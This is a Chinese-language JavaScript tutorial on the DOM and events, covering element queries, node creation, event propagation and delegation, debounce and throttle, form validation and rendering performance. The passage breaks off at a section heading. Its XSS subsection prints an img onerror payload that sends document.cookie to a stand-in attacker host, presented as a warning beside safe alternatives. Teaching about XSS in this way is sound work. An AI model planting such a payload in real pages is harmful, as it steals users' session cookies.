w wyl123ly 的博客
MD

JavaScript-05-DOM与事件

65 KB 2026.10.11 原文件

JavaScript-05-DOM与事件

这篇讲什么

HTML 是「静态的骨架」,DOM(Document Object Model,文档对象模型) 是浏览器把这份骨架解析成的一棵可编程的对象树。

JS 通过操作这棵树来改变页面,通过事件来响应用户。本篇讲清三件事:

① 怎么找到并修改节点;② 事件是怎么传播的、为什么事件委托是最重要的技巧;

③ 为什么频繁操作 DOM 会卡,以及怎么写才不卡。读完你应该能独立写出一个「动态列表 + 增删改查 + 表单校验」的完整页面逻辑。


一、是什么

DOM 是一套「用对象描述文档」的接口,它由 W3C/WHATWG 标准化,与语言无关——

理论上 Java、Python 也能操作 DOM,只是浏览器里只有 JavaScript 这一种绑定可用。

浏览器解析 HTML 后,会建立一棵节点树(Node Tree)。以这段 HTML 为例:

<!DOCTYPE html>
<html lang="zh-CN">
  <head>
    <title>示例</title>
  </head>
  <body>
    <h1 id="title">你好</h1>
    <ul class="list">
      <li>第一项</li>
      <li>第二项</li>
    </ul>
  </body>
</html>

对应的树结构:

graph TD
    D["document(Document 节点)"] --> H["html(Element)"]
    H --> HEAD["head(Element)"]
    H --> BODY["body(Element)"]
    HEAD --> T["title(Element)"]
    T --> TT["'示例'(Text)"]
    BODY --> H1["h1#title(Element)"]
    H1 --> H1T["'你好'(Text)"]
    BODY --> UL["ul.list(Element)"]
    UL --> LI1["li(Element)"]
    UL --> LI2["li(Element)"]
    LI1 --> T1["'第一项'(Text)"]
    LI2 --> T2["'第二项'(Text)"]

节点类型(Node Type)

树上的每一个「点」都是一个节点,用 nodeType 区分种类:

nodeType常量说明例子
1ELEMENT_NODE元素节点,HTML 标签<div>、<li>
3TEXT_NODE文本节点,标签之间的文字你好
8COMMENT_NODE注释节点<!-- 说明 -->
9DOCUMENT_NODE整个文档的根对象document
11DOCUMENT_FRAGMENT_NODE文档片段,不在树上的轻量容器document.createDocumentFragment()

最常踩的坑就藏在这张表里

「元素之间的空白与换行」也是文本节点。

上面那段缩进良好的 HTML 里,<ul> 的 childNodes 实际是

[Text("\n "), li, Text("\n "), li, Text("\n ")] —— 5 个节点,而不是 2 个。

所以遍历子节点几乎总是应该用 children(只含元素)而不是 childNodes(含所有节点)。

二、为什么这样设计

为什么不让 JS 直接操作 HTML 字符串? 假设页面是一段字符串,

每次改一个按钮的文字都要「拼接字符串 → 重新解析整段 HTML」,代价高得不可接受。

把文档变成对象树之后,修改就是「改一个对象的属性」,浏览器只需重算受影响的子树。

事件为什么要「冒泡」? 2000 年前后 IE 与 Netscape 有两套互不兼容的事件模型

(冒泡 vs 捕获),W3C 在 DOM Level 2 中把两者都保留,形成今天的三阶段模型。

统一之后带来一个巨大的收益:父元素可以代替所有子元素处理事件——

这就是事件委托,也是现代前端框架(前端-06-Vue、前端-07-React)事件系统的基石。

为什么 DOM 操作「慢」? 慢的从来不是 JS 读写属性本身,而是它触发的浏览器重新计算:

  • 重排(Reflow / Layout):几何信息变了(宽高、位置、显隐),浏览器必须重新计算布局;
  • 重绘(Repaint):只变了颜色、背景,不需要重新布局,但需要重新画。

重排比重绘昂贵得多,而且一次重排可能连累整个子树甚至整页。

理解这一点,才能理解本篇最后一节的所有性能建议。更完整的渲染流程见 前端-04-浏览器与HTTP。

三、核心内容

3.1 查询元素:四种方法对比

方法返回值集合是静态还是动态匹配方式找不到时性能
getElementById(id)单个 Element—按 id 精确匹配null最快(浏览器内部有索引)
getElementsByClassName(names)HTMLCollection动态(Live)按 class 名,多个用空格分隔空集合(length === 0)快
getElementsByTagName(name)HTMLCollection动态(Live)按标签名,'*' 表示全部空集合快
querySelector(sel)单个 Element 或 null—任意 CSS 选择器null需解析选择器
querySelectorAll(sel)NodeList静态(Static)任意 CSS 选择器空 NodeList需解析选择器

「动态集合」是新手最容易翻车的地方

getElementsByClassName 返回的是一个活的视图:DOM 一变,它立刻跟着变。

下面这段代码是经典的死循环(千万别在页面里试):

```js

// ❌ 反面示例,运行环境:浏览器页面 —— 会卡死页面

const items = document.getElementsByClassName('item'); // Live 集合

for (let i = 0; i < items.length; i++) {

const clone = items[i].cloneNode(true);

items[i].parentNode.appendChild(clone); // DOM 一变,items 立刻变长 → 永远循环不完

}

```

正确写法:用 querySelectorAll(静态快照),或者先把动态集合转成数组:

```js

// ✅ 运行环境:浏览器页面

const items = [...document.getElementsByClassName('item')]; // 快照,后续 DOM 变化不影响它

items.forEach((el) => el.parentNode.appendChild(el.cloneNode(true)));

```

另一处差别:querySelectorAll 返回的 NodeList 有 forEach,但仍然不是数组,

没有 map / filter / reduce。而 getElementsByClassName 返回的 HTMLCollection 连 forEach 都没有

(它只有 length、item()、namedItem(),属于「类数组对象」)。

需要数组方法时一律先转换:

// 运行环境:浏览器 DevTools 控制台
const nodeList = document.querySelectorAll('li');
const htmlCollection = document.getElementsByClassName('item');

nodeList.forEach((el) => console.log(el));          // ✅ NodeList 可以直接 forEach
// htmlCollection.forEach(...)                      // ❌ TypeError: not a function
Array.prototype.forEach.call(htmlCollection, (el) => console.log(el)); // ✅ 借用数组方法
console.log([...nodeList].map((el) => el.textContent));                // ✅ 转成真数组
// 运行环境:任意浏览器 DevTools 控制台(在任意页面上执行)
// 三个「等价但不等价」的常见查询
const byId      = document.getElementById('title');            // 单个元素或 null
const firstLi   = document.querySelector('ul.list > li');      // 选择器命中「第一个」
const allLi     = document.querySelectorAll('ul.list > li');   // 全部命中,静态 NodeList

console.log(allLi.length, allLi instanceof NodeList);          // 2 true
console.log(Array.isArray(allLi));                             // false —— 不是数组
console.log([...allLi].map((el) => el.textContent));           // [ '第一项', '第二项' ]

// 静态 / 动态的关键区别:往 DOM 里加一个 li 再看
document.querySelector('ul').append(document.createElement('li'));
console.log(allLi.length);                                     // 仍是 2(静态快照)
console.log(document.getElementsByTagName('li').length);       // 变成 3(动态集合)

3.2 节点遍历与属性操作

想做什么属性 / 方法注意
父节点node.parentNode / parentElementparentElement 保证是元素,parentNode 可能是 document
子节点(含文本)node.childNodes包含空白文本节点
子元素(推荐)node.children只有元素节点
第一个子元素node.firstElementChild对比 firstChild(可能是空白文本)
最后一个子元素node.lastElementChild对比 lastChild
前一个兄弟元素node.previousElementSibling对比 previousSibling
后一个兄弟元素node.nextElementSibling对比 nextSibling
属性读写el.getAttribute(name) / el.setAttribute(name, value)读写 HTML 属性(字符串)
属性删除/判断el.removeAttribute(name) / el.hasAttribute(name)
作为对象的属性el.id、el.className、el.href读写 DOM 属性,类型可能不是字符串
全部属性el.attributes一个 NamedNodeMap,可遍历

attribute 与 property 不是一回事

getAttribute('href') 返回写在 HTML 里的原始字符串;

el.href 返回浏览器解析后的绝对 URL。

同理 <input value="abc"> 的 getAttribute('value') 永远是 abc,

而 input.value 会随用户输入变化。表单场景一定要用 .value 属性。

3.3 创建与插入元素

方法作用重要细节
document.createElement(tag)创建元素创建后还没进 DOM,不会被渲染
document.createTextNode(text)创建文本节点一般用 textContent 代替即可
document.createDocumentFragment()创建文档片段不在树上的容器,插入时浏览器会用它的全部子节点替换它自身(见下方说明)
parent.append(...nodesOrStrings)在末尾插入,可传多个、可传字符串字符串会被自动转成文本节点(安全,不会解析 HTML)
parent.prepend(...)在开头插入同上
child.before(...) / child.after(...)在自己前面/后面插入插到兄弟位置,比 insertBefore 好记
el.replaceWith(...)替换自身
el.remove()删除自身等价于 el.parentNode.removeChild(el)
parent.insertBefore(newNode, refNode)老 API,在参考节点前插入兼容性最好
parent.insertAdjacentHTML(pos, html)把 HTML 字符串解析后插入pos:'beforebegin' / 'afterbegin' / 'beforeend' / 'afterend';有 XSS 风险
el.cloneNode(true)深克隆(含子孙)false 只克隆自身,事件监听器不会被复制
// 运行环境:浏览器页面(写在 <script> 里)或 DevTools 控制台
// 用 DocumentFragment 组织 1000 个 <li>,最后一次性挂到树上
const ul = document.querySelector('ul');
const fragment = document.createDocumentFragment();

for (let i = 1; i <= 1000; i++) {
  const li = document.createElement('li');
  li.textContent = `第 ${i} 项`;   // 用 textContent 而不是 innerHTML,天然防 XSS
  li.dataset.index = String(i);    // 写入 data-index 属性,供事件委托读取
  fragment.append(li);             // 先放进「不在树上」的片段
}

ul.append(fragment);  // 挂载点:片段本身不会被插入,它会被自己的子节点替换
console.log(ul.children.length); // 1000 —— 子节点全部就位

DocumentFragment 到底优化了什么

MDN 的说明是:文档片段从不属于主 DOM 树;把它插入树时,片段会被它的全部子节点替换。

因此它的确定收益是把 1000 次 DOM 变更合并成 1 次——这对避免

「写—读—写—读」交替引发的布局抖动至关重要(见 3.11)。

至于「不用片段就一定会重排 1000 次」的说法则不准确:现代浏览器本身就会把同一任务内的

多次变更合并到下一帧统一计算,MDN 也注明片段的性能收益主要体现在较老的引擎上。

稳妥的理解是:片段让「变更次数」这件事由你显式控制,而不是依赖浏览器的批量优化。

3.4 修改内容与属性

textContent vs innerHTML
对比项textContentinnerHTML
语义纯文本,标签会被当字面量显示解析为 HTML 后创建真实元素
安全性安全有 XSS 风险(见下)
性能快(无解析)慢(需要解析 + 构建子树)
读取时返回所有后代文本(含 <script> 里的文字)返回序列化后的 HTML
保留原有事件监听—重设 innerHTML 会销毁原有子节点,监听器一并丢失
XSS 风险:为什么不能把用户输入塞进 innerHTML

XSS(Cross-Site Scripting,跨站脚本攻击) 的原理很简单:

浏览器会执行插入到页面里的脚本。如果插入的内容来自用户,攻击者就能在你的页面上执行任意代码。

// ❌ 危险!运行环境:浏览器页面
const userInput = '<img src=x onerror="fetch(\'https://evil.example/steal?c=\'+document.cookie)">';
document.querySelector('#comment').innerHTML = userInput;
// 图片加载失败 → onerror 执行 → 你的 Cookie 被发到攻击者服务器
// 注意:现代浏览器插入的 <script> 标签不会执行,但 onerror / onload 等事件属性照样会执行

正确做法:

// ✅ 安全写法一:用 textContent,浏览器只当纯文本处理
document.querySelector('#comment').textContent = userInput;
// 页面上会原样显示 <img src=x ...> 这串文字,不会创建任何元素

// ✅ 安全写法二:必须渲染 HTML 时,用成熟库做净化(如 DOMPurify)
// import DOMPurify from 'dompurify';
// document.querySelector('#comment').innerHTML = DOMPurify.sanitize(userInput);

// ✅ 安全写法三:用 createElement + textContent 逐个构建
const img = document.createElement('img');
img.src = 'https://example.com/avatar.png';
const p = document.createElement('p');
p.textContent = userInput;   // 用户内容走文本通道
document.querySelector('#comment').append(p, img);

安全红线

只要数据来自用户、URL 参数、接口响应、第三方,就绝不能直接拼进 innerHTML / insertAdjacentHTML / outerHTML。

这一条同样适用于 Vue 的 v-html 与 React 的 dangerouslySetInnerHTML——名字里的 "dangerously" 就是警告。

更系统的安全话题见 后端-09-后端安全与性能。

dataset、classList、style
// 运行环境:浏览器页面 / DevTools 控制台
const card = document.querySelector('.card');

// —— dataset:读写 data-* 自定义属性 ——
// HTML 里写 <div class="card" data-user-id="42" data-role-name="admin">
console.log(card.dataset.userId);      // "42" —— 连字符自动转小驼峰
console.log(card.dataset.roleName);    // "admin"
card.dataset.status = 'active';        // 写回 HTML:data-status="active"
console.log(card.getAttribute('data-status')); // "active"

// —— classList:比 className 安全得多 ——
card.classList.add('highlight', 'pinned');
card.classList.remove('pinned');
card.classList.toggle('dark');              // 有就删,没有就加
card.classList.toggle('dark', false);       // 第二个参数强制指定:false 表示确保移除
console.log(card.classList.contains('dark')); // false
// 对比:card.className = 'x' 会把所有已有 class 覆盖掉,容易误伤

// —— style:行内样式,属性名用小驼峰 ——
card.style.backgroundColor = '#eef';   // 注意是 backgroundColor 不是 background-color
card.style.setProperty('--brand-color', '#3b82f6'); // 自定义属性要用 setProperty
card.style.cssText = 'color: red; padding: 8px';    // 一次性写入(会覆盖全部行内样式)

// 读取「计算后」的样式(含 CSS 文件里定义的规则)
console.log(getComputedStyle(card).fontSize);       // 例如 "16px"

改样式时优先「切换 class」,而不是逐个改 style

el.style.x = ... 写的是行内样式,优先级很高,后期想用 CSS 覆盖会很别扭;

而且逐个赋值会多次触碰样式系统。

更好的做法:在 CSS 里定义 .card--active { ... },JS 只负责 classList.add('card--active')。

这样样式与逻辑分离,也更容易做主题切换。CSS 的层叠与优先级见 前端-02-CSS基础。

3.5 事件模型

三阶段:捕获 → 目标 → 冒泡

一次点击的传播路径:

flowchart TD
    W["window"] -->|捕获阶段<br/>capture: true| D["document"]
    D --> B["body"]
    B --> UL["ul(祖先)"]
    UL --> LI["li(event.target 真正被点的元素)"]
    LI -->|目标阶段| LI
    LI -.->|冒泡阶段<br/>默认| UL2["ul"]
    UL2 -.-> B2["body"]
    B2 -.-> D2["document"]
    D2 -.-> W2["window / document"]
  1. 捕获阶段(Capture):从 window 向下走到目标元素的父级;
  2. 目标阶段(Target):事件到达 event.target 本身;
  3. 冒泡阶段(Bubble):从目标元素向上传回 window。

addEventListener(type, listener, options) 的第三个参数决定监听器在哪个阶段触发:

写法触发阶段
addEventListener('click', fn)冒泡阶段(默认)
addEventListener('click', fn, true)捕获阶段(布尔值等价于 { capture: true })
addEventListener('click', fn, { capture: true })捕获阶段
addEventListener('click', fn, { once: true })触发一次后自动移除
addEventListener('click', fn, { passive: true })承诺不调用 preventDefault,滚动更流畅
addEventListener('click', fn, { signal })用 AbortController 统一移除监听器
// 运行环境:浏览器页面(写在 <script> 里),点击 ul 里的 li 观察顺序
const ul = document.querySelector('ul');
const li = document.querySelector('ul > li');

window.addEventListener('click', () => console.log('1 window 捕获'), { capture: true });
ul.addEventListener('click', () => console.log('2 ul 捕获'), { capture: true });
ul.addEventListener('click', () => console.log('3 ul 冒泡'));            // 默认冒泡
li.addEventListener('click', () => console.log('4 li(目标)'));
document.addEventListener('click', () => console.log('5 document 冒泡'));

// 点击 li 时的输出:
// 1 window 捕获 → 2 ul 捕获 → 4 li(目标)→ 3 ul 冒泡 → 5 document 冒泡

第三个参数的历史包袱

老浏览器只支持布尔值 useCapture。所以 addEventListener('click', fn, true) 是合法的,

表示「捕获」。不要误以为它开启了什么「是否触发」的开关——传 false 和什么都不传完全等价。

preventDefault vs stopPropagation

这两个方法经常被混为一谈,但它们解决的是完全不同的问题:

对比项preventDefault()stopPropagation()
作用对象浏览器对该事件的默认行为事件的传播过程
效果阻止默认行为(链接跳转、表单提交、右键菜单…)阻止事件继续传给祖先(或后代,捕获阶段)
对其他监听器的影响同元素上的其他监听器照样执行同元素上的其他监听器照样执行(只影响其他节点)
判断是否被调用event.defaultPrevented 为 true无对应属性
能否取消只有 cancelable: true 的事件可被取消总是有效
// 运行环境:浏览器页面
const link = document.querySelector('a.prevent-me');

link.addEventListener('click', (e) => {
  e.preventDefault();                 // 阻止跳转
  console.log('默认行为被阻止,地址栏不会变');
  e.stopPropagation();                // 同时阻止冒泡到父元素
  console.log('父元素的 click 处理函数不会执行');
});

// 用 defaultPrevented 判断「是否已经有别的监听器调用过 preventDefault」
document.addEventListener('click', (e) => {
  if (e.defaultPrevented) console.log('某个祖先/同级的监听器已经取消了默认行为');
});

stopPropagation 要慎用

它会静默破坏事件委托:父元素上的委托监听器收不到这个事件,bug 极难定位。

大多数时候你真正想要的是 preventDefault。

确实需要「只让当前元素处理」时可以用它,但要在代码里写清注释。

另外还有个 stopImmediatePropagation(),它会连同同元素上后面注册的监听器一起阻止——更要少用。

event.target vs event.currentTarget
属性含义特点
event.target实际触发事件的那个元素整个传播过程中保持不变
event.currentTarget当前正在执行监听器的那个元素随传播过程而变化;等于监听器绑定的元素
this(非箭头函数)等于 event.currentTarget箭头函数没有自己的 this
// 运行环境:浏览器页面,点击任意一个 li
document.querySelector('ul').addEventListener('click', function (e) {
  console.log(e.target.tagName);        // 被点中的那个元素:LI(也可能更深,如 <span>)
  console.log(e.currentTarget.tagName); // 绑定监听器的元素:UL(始终不变)
  console.log(this === e.currentTarget); // true —— 普通函数的 this 指向绑定元素
});

用箭头函数时拿不到 event.currentTarget 的旧写法

如果用 function 写监听器,this 就是绑定元素;用箭头函数时 this 继承外层(通常是 undefined 或 window)。

统一用 event.currentTarget 更安全,不受函数写法影响。this 的完整规则见 JavaScript-02-函数与作用域。

3.6 事件委托(Event Delegation)

原理:利用冒泡,把监听器挂在共同的祖先上,在回调里用 event.target 判断「是谁触发的」,

再分派到对应处理逻辑。这个模式也叫「事件代理」。

三大优势:

  1. 内存与初始化成本低:1000 行数据只需 1 个监听器,而不是 1000 个;
  2. 动态元素自动生效:后来新增的子元素无需重新绑定(这是最实用的好处);
  3. 元素增删不会造成监听器泄漏:监听器不在子元素上,删掉子元素不会留下悬空引用。
<!-- 运行环境:浏览器页面。完整的「动态列表」示例:一个 HTML 文件即可运行 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="utf-8"><title>事件委托示例</title></head>
<body>
  <ul id="todo"></ul>
  <button id="add">添加一条</button>
  <p>当前条数:<span id="count">0</span></p>

  <script>
    const list = document.querySelector('#todo');
    const countEl = document.querySelector('#count');
    let seq = 0;

    function addItem() {
      const li = document.createElement('li');
      li.dataset.id = String(++seq);         // 用 data-* 携带业务 id
      // 用 createElement 构建,避免把用户内容拼进 innerHTML
      const span = document.createElement('span');
      span.textContent = `事项 ${seq}`;
      const del = document.createElement('button');
      del.textContent = '删除';
      del.className = 'del';                 // 用 class 标识「哪个子元素有特殊行为」
      li.append(span, del);
      list.append(li);
      countEl.textContent = String(list.children.length);
    }

    // ✅ 只在这一个祖先上绑定一次,之后新增的 li 自动可用
    list.addEventListener('click', (event) => {
      const btn = event.target.closest('.del');   // 向上找最近的 .del 祖先(含自身)
      if (!btn) return;                            // 点的不是删除按钮 → 直接忽略

      const li = btn.closest('li');                // 找到所属的行
      console.log('要删除的 id:', li.dataset.id);
      li.remove();
      countEl.textContent = String(list.children.length);
    });

    document.querySelector('#add').addEventListener('click', addItem);
    addItem();  // 先放一条,方便测试
  </script>
</body>
</html>

closest() 是事件委托的最佳搭档

event.target 可能是按钮内部的 <span> 或文本节点,直接比较 event.target === btn 会漏判。

event.target.closest('.del') 会从自身开始向上找最近的匹配祖先(找不到返回 null),

所以无论点中按钮还是按钮里的图标,都能正确定位。这比手写 while 循环向上遍历清晰得多。

事件委托不适用于这些情况

- focus / blur 不冒泡:要委托请改用会冒泡的 focusin / focusout;

- mouseenter / mouseleave 不冒泡:可改用 mouseover / mouseout(它们会冒泡,但要自己处理子元素进出);

- 需要阻止冒泡的组件:若子组件内部调用了 stopPropagation,委托链就断了;

- <video> / <audio> 的媒体事件等不冒泡的事件。

3.7 常用事件类型

分类事件触发时机 / 关键属性
鼠标click完整点击(按下 + 抬起)
dblclick双击
mousedown / mouseup按下 / 抬起
mousemove移动(触发极频繁,必须节流)
mouseenter / mouseleave进入 / 离开(不冒泡,不受子元素影响)
mouseover / mouseout进入 / 离开(冒泡,子元素间移动也会触发,常配合 relatedTarget 判断)
contextmenu右键菜单(阻止它可自定义右键菜单)
键盘keydown / keyup按下 / 抬起;判断按键用 event.key(如 'Enter'),不要用已废弃的 keyCode
keypress已废弃,不要在新代码中使用
表单input每次值变化立刻触发(含粘贴、拖入),做实时校验用这个
change值变化且元素失去焦点后触发(<select> 是选完立刻)
submit表单提交(必须 preventDefault 才能用 AJAX 提交)
reset表单重置
focus / blur获得 / 失去焦点(不冒泡)
focusin / focusout同上,但会冒泡(可委托)
滚动 / 尺寸scroll滚动(在 window 或可滚动元素上;触发频繁,需节流)
resize视口尺寸变化(需节流)
触摸 / 指针touchstart / touchmove / touchend触摸屏;event.touches 是TouchList,不是数组
pointerdown / pointermove / pointerup统一鼠标/触摸/触控笔,新代码优先用它
文档生命周期DOMContentLoadedHTML 解析完成(见 3.10)
load所有资源(图片、样式、子框架)加载完成
动画 / 过渡transitionend / animationend过渡 / 动画结束

键盘快捷键的判断要兼顾 event.key 与组合键

```js

// 运行环境:浏览器页面

document.addEventListener('keydown', (e) => {

if ((e.ctrlKey || e.metaKey) && e.key === 's') { // metaKey 兼容 macOS 的 Cmd

e.preventDefault(); // 阻止浏览器「保存网页」

console.log('自定义保存逻辑');

}

});

```

event.key 会随大小写与输入法变化(按 Shift 时是 'S'),

需要「物理按键」语义时用 event.code(如 'KeyS')。

3.8 防抖与节流

两者都是降低高频事件回调执行次数的手段,但语义不同:

对比项防抖(Debounce)节流(Throttle)
核心思想事件停止触发 wait 毫秒后才执行一次每 wait 毫秒最多执行一次
执行时机「安静下来」之后固定频率
是否可能一直不执行会(持续触发就一直不执行)不会(只要持续触发,就保证有节奏地执行)
适用场景搜索框联想、表单实时校验、窗口 resize 后重算布局滚动加载、mousemove 拖拽、滚动进度条、按钮防连点
用户感受「我打完字再出结果」「一边滚动一边更新」
// 运行环境:浏览器页面
/**
 * 防抖:最后一次调用后等待 wait 毫秒才真正执行。
 * @param {Function} fn 需要执行的函数
 * @param {number} wait 等待毫秒数
 * @param {boolean} immediate 为 true 时首次调用立刻执行(如「按钮防连点」)
 */
function debounce(fn, wait = 300, immediate = false) {
  let timerId = null;
  return function (...args) {
    if (timerId !== null) clearTimeout(timerId);      // 重新计时

    if (immediate && timerId === null) {
      fn.apply(this, args);                           // 立即执行一次
    }

    timerId = setTimeout(() => {
      timerId = null;                                 // 关键:复位,否则 immediate 只会生效一次
      if (!immediate) fn.apply(this, args);
    }, wait);
  };
}

/**
 * 节流:每 wait 毫秒最多执行一次,保证「有节奏」地响应。
 * @param {Function} fn 需要执行的函数
 * @param {number} wait 时间窗口毫秒数
 * @param {{ leading?: boolean, trailing?: boolean }} options
 *        leading:窗口开始时先执行一次;trailing:窗口结束时补执行一次
 */
function throttle(fn, wait = 200, { leading = true, trailing = true } = {}) {
  let lastTime = 0;
  let timerId = null;

  return function (...args) {
    const now = Date.now();

    // 首次调用且不要 leading,就把基准时间设为现在,避免立刻执行
    if (lastTime === 0 && !leading) lastTime = now;

    const remaining = wait - (now - lastTime);

    if (remaining <= 0) {
      if (timerId !== null) { clearTimeout(timerId); timerId = null; }
      lastTime = now;
      fn.apply(this, args);                     // 距上次执行已超过 wait → 立刻执行
    } else if (trailing && timerId === null) {
      timerId = setTimeout(() => {
        lastTime = leading ? Date.now() : 0;    // 不 leading 时把基准清零,恢复初始语义
        timerId = null;
        fn.apply(this, args);                   // 窗口末尾补一次,保证「最后一次不丢」
      }, remaining);
    }
  };
}

// —— 实际用法 ——
const onSearch = debounce((kw) => console.log('发起搜索:', kw), 400);
document.querySelector('#search').addEventListener('input', (e) => onSearch(e.target.value));

const onScroll = throttle(() => console.log('更新滚动进度', window.scrollY), 200);
window.addEventListener('scroll', onScroll, { passive: true }); // passive 提升滚动流畅度

什么时候可以直接用 passive: true

scroll、touchmove、wheel 这类事件,如果监听器里不会调用 preventDefault,

就加上 { passive: true }。浏览器因此不必等回调执行完就能开始滚动,滚动流畅度明显提升。

这也是 Chrome 对 touchstart/touchmove 默认使用 passive 的原因。

3.9 生命周期:DOMContentLoaded 与 load

对比项DOMContentLoadedload
触发时机HTML 解析完成,DOM 树构建完毕页面所有资源(图片、CSS、字体、iframe)加载完成
在 document 上还是 window 上documentwindow
能否拿到 DOM能(这就是它存在的意义)能
能否知道图片尺寸不能(图片可能还没下载)能
触发次数一次一次
典型用途初始化脚本、绑定事件、首次渲染埋点统计、隐藏 loading 遮罩、图片尺寸相关计算
// 运行环境:浏览器页面(写在 <head> 里的脚本,或需要等 DOM 就绪的代码)
document.addEventListener('DOMContentLoaded', () => {
  console.log('DOM 已就绪,可以安全查询元素了');
  document.querySelector('#app').textContent = '已初始化';
});

window.addEventListener('load', () => {
  console.log('所有资源(含图片)加载完成');
  const img = document.querySelector('img');
  console.log('此时才拿得到真实尺寸:', img.naturalWidth, img.naturalHeight);
});

脚本放在哪里,行为完全不同

- <script> 放在 <body> 末尾:解析到它时 DOM 已就绪,不需要 DOMContentLoaded。

- <script> 放在 <head>:此时 <body> 还不存在,querySelector 会返回 null——

必须用 DOMContentLoaded 包裹,或者加上 defer 属性。

- <script defer>:下载不阻塞解析,在 DOMContentLoaded 之前按顺序执行(推荐)。

- <script async>:下载不阻塞解析,下载完立刻执行,执行顺序不确定,适合独立统计脚本。

只有 <script src>(无 defer/async)会阻塞 HTML 解析,这是「脚本放末尾」这条老经验的全部原因。

3.10 表单操作与校验

<!-- 运行环境:浏览器页面。完整的表单校验示例 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="utf-8"><title>表单校验</title></head>
<body>
  <form id="signup" novalidate>
    <p>
      <label for="email">邮箱</label>
      <input id="email" name="email" type="email" required
             minlength="6" placeholder="you@example.com">
    </p>
    <p>
      <label for="age">年龄</label>
      <input id="age" name="age" type="number" min="18" max="120" required>
    </p>
    <button type="submit">注册</button>
  </form>
  <pre id="out"></pre>

  <script>
    const form = document.querySelector('#signup');
    const out = document.querySelector('#out');

    // 实时校验:用 input 事件(每次值变化都触发),而不是 change(失焦才触发)
    form.addEventListener('input', (e) => {
      const field = e.target;
      if (!(field instanceof HTMLInputElement)) return;

      // validity 是浏览器给出的「约束校验 API」结果
      const { validity } = field;
      let msg = '';
      if (validity.valueMissing) msg = '此项必填';
      else if (validity.typeMismatch) msg = '格式不正确(例如邮箱缺少 @)';
      else if (validity.tooShort) msg = `至少 ${field.minLength} 个字符`;
      else if (validity.rangeUnderflow) msg = `不能小于 ${field.min}`;
      else if (validity.rangeOverflow) msg = `不能大于 ${field.max}`;

      field.setCustomValidity(msg);          // 设置自定义错误信息;传 '' 表示清除
      field.reportValidity();                // 立刻显示浏览器的提示气泡
    });

    form.addEventListener('submit', async (event) => {
      event.preventDefault();                // 阻止默认提交(否则页面会刷新)

      // checkValidity() 会触发所有字段的校验,返回整体是否通过
      if (!form.checkValidity()) {
        form.reportValidity();               // 把第一个不合格的字段高亮出来
        return;
      }

      // FormData:一次性收集所有带 name 的字段,是表单取值最省事的方式
      const fd = new FormData(form);
      console.log('普通字段:', Object.fromEntries(fd));   // { email: '...', age: '...' }
      console.log('按名字取单个值:', fd.get('email'));
      console.log('遍历所有键值对:');
      for (const [key, value] of fd) console.log(' ', key, '=', value);

      // 有文件时可以直接把 FormData 交给 fetch,浏览器会自动设置 multipart 边界
      // await fetch('/api/signup', { method: 'POST', body: fd });
      out.textContent = '校验通过,准备提交:\n' + JSON.stringify(Object.fromEntries(fd), null, 2);
    });
  </script>
</body>
</html>

关键 API 对照:

API作用注意
field.value读取当前值(永远是字符串)数字要用 Number(...) 或 valueAsNumber 转换
field.checked复选框 / 单选框是否选中不叫 value
field.validityValidityState 对象,各约束的布尔标志见上面示例的字段名
field.checkValidity()校验单个字段,返回布尔值会触发 invalid 事件
field.reportValidity()校验并显示浏览器提示用于「点提交时才提示」
field.setCustomValidity(msg)设置自定义错误;传 '' 清除忘记清除会导致表单永远提交不了
form.checkValidity()校验整个表单用于提交前统一把关
form.reportValidity()校验整表并高亮第一个错误
new FormData(form)收集所有带 name 的控件没有 name 的字段不会被收集
form.reset()重置为初始值会触发 reset 事件

novalidate 与 setCustomValidity 的两个坑

1. 示例里给 <form> 加了 novalidate,关掉浏览器默认的提交时校验,改由脚本控制提示时机。

如果你想要「零 JS 也能校验」,就不要加 novalidate,直接依赖 required / type / pattern 等属性——

这是最省事、可访问性最好的做法。

2. setCustomValidity('错误信息') 一旦设置,该字段就永久处于 invalid 状态,

必须在数据变合法时调用 setCustomValidity('') 清除,否则用户永远提交不了表单。

3.11 操作 DOM 的性能注意事项

为什么频繁操作 DOM 会卡

每次修改都可能触发重排(Reflow) 或 重绘(Repaint)。更糟的是布局抖动(Layout Thrashing,又叫强制同步布局):

在「写 → 读 → 写 → 读」的交替中,浏览器被迫在每次读取前立刻同步执行一次布局计算,

把原本可以批量合并的工作拆成了 N 次。

// ❌ 布局抖动:每次循环都「读一次布局 → 写一次样式」
// 运行环境:浏览器页面
const boxes = document.querySelectorAll('.box');
for (const box of boxes) {
  box.style.width = box.offsetWidth + 10 + 'px';  // 读 offsetWidth 强制立即重排,接着又改样式
}

// ✅ 批量读、批量写:先读完所有值,再统一修改
const widths = [...boxes].map((box) => box.offsetWidth);  // 阶段一:只读
boxes.forEach((box, i) => {                                // 阶段二:只写
  box.style.width = widths[i] + 10 + 'px';
});
// 读与写各只触发一次布局计算
让脚本「读写分离」是性能优化的第一原则

offsetWidth / offsetHeight / offsetTop / scrollTop / clientWidth /

getComputedStyle() / getBoundingClientRect() 都是会强制同步布局的「读」操作。

一旦你在写样式之后立刻读它们,就会触发一次完整的布局计算。

其他实用手段
手段说明
批量修改:先 display: none 再改再恢复元素不在渲染树中时修改不会触发重排(代价是元素会闪烁一次)
DocumentFragment把大量节点变更合并成一次挂载,显式控制「变更次数」
cloneNode + 离线修改在「不在树上」的副本上做复杂改动,最后一次性替换
用 classList 代替逐条 style减少触碰样式系统的次数,也让样式逻辑回到 CSS
requestAnimationFrame 合并视觉更新把动画相关的写操作对齐到下一帧
虚拟滚动(Virtual Scrolling)1 万行列表只渲染可视区域的几十行,是长列表的根本解法
避免在循环里查询 DOM把 querySelector 结果缓存到变量,不要每次重新查
// 运行环境:浏览器页面
// 把多次视觉写入合并到下一帧,避免同一帧内重复计算
function batchUpdate(updates) {
  return requestAnimationFrame(() => {
    updates.forEach((update) => update());
  });
}

batchUpdate([
  () => { document.body.style.background = '#f5f5f5'; },
  () => { document.querySelector('#title').classList.add('highlight'); },
  () => { document.querySelector('#badge').hidden = false; },
]);

先测量,再优化

不要凭感觉优化 DOM。用 Chrome DevTools → Performance 面板录制一段操作,

看 Layout / Recalculate Style 的耗时占比,以及是否有反复触发的紫色块(Layout)。

只有确认瓶颈在渲染,上述手段才有意义。调试方法见 前端-09-前端工程化与调试。

3.12 现代替代方案简介

直接手写 createElement + append 在小型页面完全够用,但页面一复杂,「状态」与「DOM」就会失步:

数据变了忘了更新视图,或者更新视图时把状态改乱了。现代框架的思路是把这一步自动化。

方案一:模板字符串 + innerHTML 整体渲染
